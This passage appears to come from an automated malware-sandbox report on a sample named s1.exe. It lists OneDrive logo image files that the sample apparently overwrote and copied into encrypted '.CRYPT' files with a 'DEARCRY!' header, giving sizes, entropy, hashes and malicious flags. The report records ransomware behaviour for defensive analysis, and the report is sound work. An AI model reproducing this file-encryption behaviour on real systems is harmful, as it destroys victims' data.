                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-150.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):7920
                                                              Entropy (8bit):7.9724126368391275
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:49BBB11BC2699A74B2AE4F8E1544CE70
                                                              SHA1:E3D3C38A43329C3B0D94E57BFB6D027E2F48B147
                                                              SHA-256:AE12CF9F72CDC83200C8A08EA2325F8531F40B792EFE0EC0BD674D493149163A
                                                              SHA-512:6485B293A86284D815183F004D60520EC0044532D329314289318F08B082E6C01DA3647A06DBC10529C20A2095A62E44D42DF36C3F21402F07E2499050FB1493
                                                              Malicious:false
                                                              Preview: DEARCRY!.......4.\.7..S.SG~.......v.,......Nt..M......).;..;n'...6..xBL...........DD<.-.l[C.EN...'j.(..{.....u.h^......l.C&...o.6.t.&...R........1..r......Vw.W.....r3.m.@C.N.%.{eR...Q........../....$..{.........0......T.vZ.m.|Se.5...7..P!....l.s..d......}B....Z...........-...c.._k7)....b.v.k...k8G.h....K........A..h......4.y..{Ji...a...........|....;..u.o....F>!...2.q4..U..T.*...D.?..ES..m.%..[...(E..!....,.a<{A.../.....^...-$....9..8.1....d.v.....EEl^BR..^.9G..%.].J..sJ5.%....5.Vp',U`.D.*.l...#z...$..yPe....j".xu...Y...g.{..k......\..}!.t..`.;h....zK4..u..[g.... T.:...?A!X.`..9._]..},gz.cMx..U...'OyOR4.n..@K.ld.q...^Sq..n.<I...i4.&%..s~....L.]_..4...d....N..~..._. ...<.1..|..y....o.F..Z.8...u..|......zne;.0......d.vU...{.RC........f..sl..{.o].....F.*.........sq...h.Q..)..h.?...v...0)0.X..9.<P^.!{...pS...D-.._.Y.).V9u.....R9.9..]..d.......C...IU..o./L6..."F...|.}`..z.H.d.+E??.D.^-.....j....0D.....w.. /...r..'.....a..^.,.Q8..>Ozms......&.|
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-200.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):9118
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6BA7D76D4FA971999AD77D3035B4662A
                                                              SHA1:C0458688E41EE94E29238C9C55EBCA8D117A1679
                                                              SHA-256:EF5EEDAE44B6C31AFE5B5F772A6573506B2B1F38633AD0CE42FE5BC4C688A00D
                                                              SHA-512:738404DAFB23882E41A5FAE8F373F5E2F979D7A75A7B45533F0F5F6FD773781675E694F5C386A03555F252A45E5A2594A2E6B27DF526AE6A43F5A13D32E2D827
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-200.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):9680
                                                              Entropy (8bit):7.98096638204597
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:04CEB315DFB518A8ADC4EAF50BD15E35
                                                              SHA1:E2C3029F27287040C993A26AD43344D0F51B0E47
                                                              SHA-256:27B6E1FDACC2867CE2B348726D99F81E9E1AE5680509D54C076CDD53517963AB
                                                              SHA-512:47657C6A09621638E8DFE2CF77831BE24872C5043DDD0D908FDCCC46057FF39B8BD72467D369AB4487AB0DA7E79201ABE19C11C9B6A36B86EEEDEBF631D5005C
                                                              Malicious:false
                                                              Preview: DEARCRY!....#..t.LD.{pB...;..e.../N]'...t..{Z.+E...q..p.....Nc..t..I5...-.....xj....3..1..8'...=..[.g4./..vX...Z..<.n1-..*}z.iP..c......b....6JR.,OmT..'^..3y.l...F..^....)7.+`.........>u.Q..-. V........'......2w.8.l.....p.]<.:.C...?r..7t...vy....C............g...F.$. .v..v...[&.-...UVu..E....G...mu:S......d........_r#....\.|.O. ....f..L.u...?.O#,m..!..r.ir.....5..^z.....>.{.46r.l.%....h..t............%C.....|.)......"...:.$.......Vbu......3r8...4.'...B.b >^../8N.9......ZgG.c..H>.5...F..t.!...5..*Cj...H...57E.....X.g...\.]f.Z.B.5.t...jf.SL..:.=h..L..p.n!.!"..,.7....ByG&x..T.5....y....^=..N...9z./.K.....X|..">....R.~.I].U.Q..v..L...L).(,.^(Q..Hwi...r\..r{.V%It.].C..."(.O..6`bu...g.A...1.....-p .^..>.v.._....B....J...G#....RCK}.-*....h>......R<.. 7..^E.J..l..p....^<}5c.....M...E....$...k*Wp..C...x..DN..........|Qt.!K).m@...9s.....cj....N..:.@g.h.g.Fq...6../.Dlg....s.....J......M..6..".Y..N;C.._..s.P.?.k........H....\'m..y.'
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-400.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16818
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CEDF99AFE10A3DEA55B666654095BE86
                                                              SHA1:F7935C1ED9907A8CF1EC0CA947AD39544F37E289
                                                              SHA-256:47D081C6560B588FEE779F6D67E89BCCF162B8CC1D2B2F4780629F7CEDEF59B2
                                                              SHA-512:503FA99F8261B7FFF7E39BA29F5FB604E56507CD7AC377C651BFFCAB708436352B81E822C49D9DAF988FCEB05D2C9ED23E55C3846D133637A05E7DFE571FD779
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-400.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):17392
                                                              Entropy (8bit):7.991203925664271
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:F1004967F1B1016974F42D307DD4F9A3
                                                              SHA1:F351D206A69D686830EE2EFD42E3976750A8A7C3
                                                              SHA-256:88A52296A855FC38871BAD2E265E2C1099FC0E5A328DFF133FF603CAFBC1C2BE
                                                              SHA-512:1FC0512CF7226A885CDDE8D2169F9F0F9377B46DAE88E83B6F44C3B35413080D4BF099C0D44127CE79B84A4791FB20B98D6629A9803F14F56C6EC0F754061D55
                                                              Malicious:true
                                                              Preview: DEARCRY!....'...//n..#...b.F....t.Xg.?K.....7..........."eg..P.v...M..Z....X.>..6. .S-.X#....R..wo...M@.Qn~.Z..&...fWDm..%..........7e...K./J..|.k?.GOU.........g..V).^.V..r..8M|.P.."..S.%.....p.2.li........6~.B7.g..8....?.t..:.u1..TP...my....%...'....)...... .........E....Il....N.g.&}7 v...K.a.q...F...L..!..Qk..Z/....eN~cp2.,.o..rz.(...._`..".......?r...$..C..>MU/.e4..0.y.&s..<.vP.....yA`...'s...>Q..R....N..:H.N.>.....;..P...Z.z..+n.yD~.T.]v.J.%....$...l.I^...S..^.].#P*.....k|..6......R\.;.6..y....o%.cZ..w....F..<....~...2..7.%G..|.\k2.2.v..{W.._.HX...%.......I..c.8.4.6..g......CF..g.Dm..<..f.....@.:PjoC..;.#....%.....04.0*.2./....4l.U./C...s.....;...V..3.<...#3_@.....;9Q..@.r.;.<.t.+w}.........0.s..h.0U. ...h.....5..-..0.}.}......QC.X....r.2..&3.X.y..-.er....X....l(....|...Cd....Pmng).fDyy.:.....6..e.U..8.W..2.T.!.G..........Q.OQ.{Dl."..pQU..#AK.6...\..?.8...s..,.,#._.jI.)2O..w.S(...@M$V..A_..cF.....M...6MNQ.....hT;.....E.5.......
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-100.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8913
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:81E286C13C2A6F98C8FED840BF9550BE
                                                              SHA1:F03833C619DEF5CE8679AFD53BC5EB3B1B343767
                                                              SHA-256:F940CF810CA7E0E0719CCFCF70581BD30ACBCC3F94BA0FF1E7E0E6480A1B4E63
                                                              SHA-512:6CD16B75029FC6C5B09B6936BACC783F46363962CEC08EC3FF88601152DC28327FF4CFC06CD1DA4B06D8A46D13DE6B2B120D8C2DD63E794C38B2CCE7C35E16AD
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-100.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):9768
                                                              Entropy (8bit):7.976388760151848
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E74F1AB367A0AD0D5C665CD21F2C8ED5
                                                              SHA1:9BBF292688F08392E9A96AF3EBFF3EA3356FFBDB
                                                              SHA-256:D0F92EDB7FCEEDBF45087FA6E1ADD337C9BB66CFE77F1CEDEFF82860227805D3
                                                              SHA-512:B02E5FB0E567797F6073A1D0963C3543CB55331098C16B99D3CC496050574C1108C130BC2FD81CC4BFEF3A014744721466951918D8CED46A0859D69E3AEA5BEC
                                                              Malicious:false
                                                              Preview: DEARCRY!......K...!D._..m.D.(.......pr.._.ge.d..OW..].?nl....*....@.T..Q..o.p.=..=....^.m.g...m...........%.K.9Y.....h.F..fth...F.K...../.7M...O36.(....D.u....X9.uX.n.kU.*..Z....p.Ji.3'...Bn..E.j.1^..Y8.w.V....O.sS.CP.....g..zQ^Wg. .g.G..6..r...`.....L(................f.<.'..0....h.-..`.~.L.Ae.>@EM>/...N..I.....C....:.....[\...Ud..Vj......fQ.|...."...&."|.m......O..i.p...4.{.H.]E..u..w..u.M.O.(...0....d..o=\....F?.Cy.J..i..2/..U...x*.uK....^.`~,...R.............o.......L.....f..{.z.#..E...!...^.qi...u3..yci.T..0......./..NP)...Z...7~.....0.O.L._n.f$.].$)..@X....J..,.8..j....P.Z....O.?n.!G|..g>A..~d.B#r..[A....cBY.`...`.......3.....".)..s.V.....WI.....\...r.yZ].:34'.T...(..w..X....W..J&...r^....s?..2\.3...d......V.tj..o.>..-........l..M..N6..g.u...K..w..t..e>..Bo:.s[>i.....~.6.Ns..tu...W.t.F...4...FKMe...D."VQ..H0..ZZ.>...l.}...y....-].tqq.q.<.4.....uc.zG^.....gv7.0...........V....W@...`tV. .Y....[.u.;....E....>3.R|.yn...tb..S....
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-125.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):12321
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E2A4A2AE842CC5CA9AC5111D476E8821
                                                              SHA1:CB310DF0E8D1E71A08CD110508A57A43272B2E1B
                                                              SHA-256:BA93A159A60BD38DE078A5BAD45E22C28B499E73BB2696086F2492F1C3420B25
                                                              SHA-512:A87C9FC3AD7B8204C79B5177A9994E59601B8C4DEA59597FC06FEDC2986B3D45D31DC2A76FE771339CFC96AE8D5120DE649CC5359A9BBE40E3B322D79FD24FE5
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-125.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):13176
                                                              Entropy (8bit):7.988151998497576
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8A77DE85F6D4BF9DD850F44B4715B6E1
                                                              SHA1:8C78D6804297B61E1A2F8F409658507D20F7F0EB
                                                              SHA-256:66BBEE6007F1A4C6BF09EC9D95061BAF18B049878DACB4CE39E6213160ED85FA
                                                              SHA-512:5E5BC97C980726CDFBA49FB27E0B7959F8DB69FA76F9BC9ABB4512DABFFE672993C6021D36921480C14D9EAC728B4321C0B143FB88A2248DE79692170269D52B
                                                              Malicious:false
                                                              Preview: DEARCRY!....9.;w\q.v;oR.VD.\?.]_.......\";..V.(.p"....~<9,.%d.}k".{.....U.e...:q.7....1h.f...r|7....a..J...*.....[.;..e.;.c..K.N..J12^-....T.ZA........w......M.'...tm.zw..6n/b.[E`sD.....V.]....)...UJ.V.T].0}.S...B..B..,Nt.._$6-F.qpO...U4~.X\k...d5P1DW..................K.eb1a...<...(.Ed........;..M....'.t.fR.C>f..A.P.9|nZ.2.......7...&.Q]..'".@.g}.v.E..P....d./..0.X...C...;.I.)zX..?..S,..zP.......n.Q.Hx...P...<.O.E......+........K....^.=.C.H...._.<..58...{$..x.>../p=.qv<....CO.i...6..;)..Q.S.R.O.@A...."<..S2..8...J.........).1<...."....qn.D....0....Y...C../:.?.4Q=.t..%Ar=.......V...d.+L`....../.DO......p*Q. 7e.....et/..9E/HbQ%...+...`.ws.4 .+.^U#........X._.......L..m<F=k.7.}c....G..|..HV%.^...b.......(.IY..L8..G./..;.A6.v4..Q..f".."[..:...CH...T..=c.7.F&....D;M........3z.....d.|.jy.3x...xR..rG...r.D..[..c2..! Y..z{.m.i..o.B$rxD+'.;....&.&....O...~..0k.2......{1=L*A..~.._!UP.@d....~J...?/p..R...^.. }k.}...Q."...%9ek.Lr.z.;1.4.._..}....B.......
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-150.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):15894
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3DEFC335D1F0F9B873CECB0E6D9C465E
                                                              SHA1:E2FE79679A593A371DD92BF6FBDC6FABE3BFA6A3
                                                              SHA-256:9B9D776338166742F66BB380088690A06260790523078072CB200442FD4F5F95
                                                              SHA-512:41BA15CC1DE4CF424CBEE5B3D88D55A1A463A650FAAC29FF3B462212103871832E4926831CFECC279E04112C0A13767ECE4989B39A6EF06B32C11E79A897CE0D
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-150.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16776
                                                              Entropy (8bit):7.9901914444119715
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:E10EAF33E2F9EB3599276D7680524241
                                                              SHA1:BA9196184951ECEEE2B6939F70C56E935329C1FD
                                                              SHA-256:D5B9B37EBEB6B59AFEE58A7DB8F81F3BF966D8FA1636DEE7B463F996B78C034C
                                                              SHA-512:714CFF4E37718EDF958E72C8260B89D4BA89B5220136071D930D2C664F812D2403EE596875895E83BA5111BC1C236966F0AB493DDC0FBBE618CD7133458A66A6
                                                              Malicious:true
                                                              Preview: DEARCRY!......Eeo..;!N...Y#.W...vo..9...Uh".........Ws&...K...g.....daX......Y.l....H..FNr)...2.'....}o...pm..f.s..%nr.....A...#..]h.::..V..........U..h....G%..}.{./8D.ZP..X"..s|.G[.s.^.6..*l=.]...E.f...q..Q.;@..}.......mF..^g.6;....V..*.!X..`.-ERp..$..7.q...............q.....<.u>..,...6....7.~D.^....%P.z..F...x...9..R...'......5.V.'..H.K,r...._........sml..B...4... ..F..c!....Y7..._.......i.uC].].`.....R..<z.Gl3TDQ/Q.e.U`Rv....w8.'.Rr........}'...3;FL..]J7$>Tu..c^Qrd..SR..\a..3..n.....uDH.r.q4.%......b..`..yPy.3..ap.HV....J.P@....e..<.T..3.y.z...i."....r.e.M..;Y.vK%..c..Q...s..s{....[.n.L....h.+...q.,..:V..+M+g.].u.r...-..)...o.cR8.U_.....<.%..".[G...~]8.....?q..*.yt.U.8.+~.$}.E....?...F.N......I.W.i...{h...-.5^.j.........Xc..C..jh...x.7......O....ZP#...[A.Z.>.m......&/.N..=..vHb#..(.!g.VS.....S...L"....$)o..hv.j.d..-..|I..=.r*I.....6.r..L.....+...~\6,./........Mv...e..VYe...a..>.n... .0(...v=.R..X.n.7XS....y7$%.Ze.tG.x.h..K..t.~0k.O/.a.8...X..B
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-200.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):20832
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7FBF798F04971823227DD3E4416DFA24
                                                              SHA1:4EB840704129C875F861CF049A2E8353F9B161AB
                                                              SHA-256:0668562ED55490DA0784A15FB8E0EB3980AAAF2AB041DED9A7A64718F76031CE
                                                              SHA-512:F1D4B253A72EBFD8DBFF9099D57841D927DB1E4D37CFE1F55C067007151A2CAC51A5603B2D392A316BD65C48424E6B0A1C6C124B592B67DD00720012A63D21A0
                                                              Malicious:true
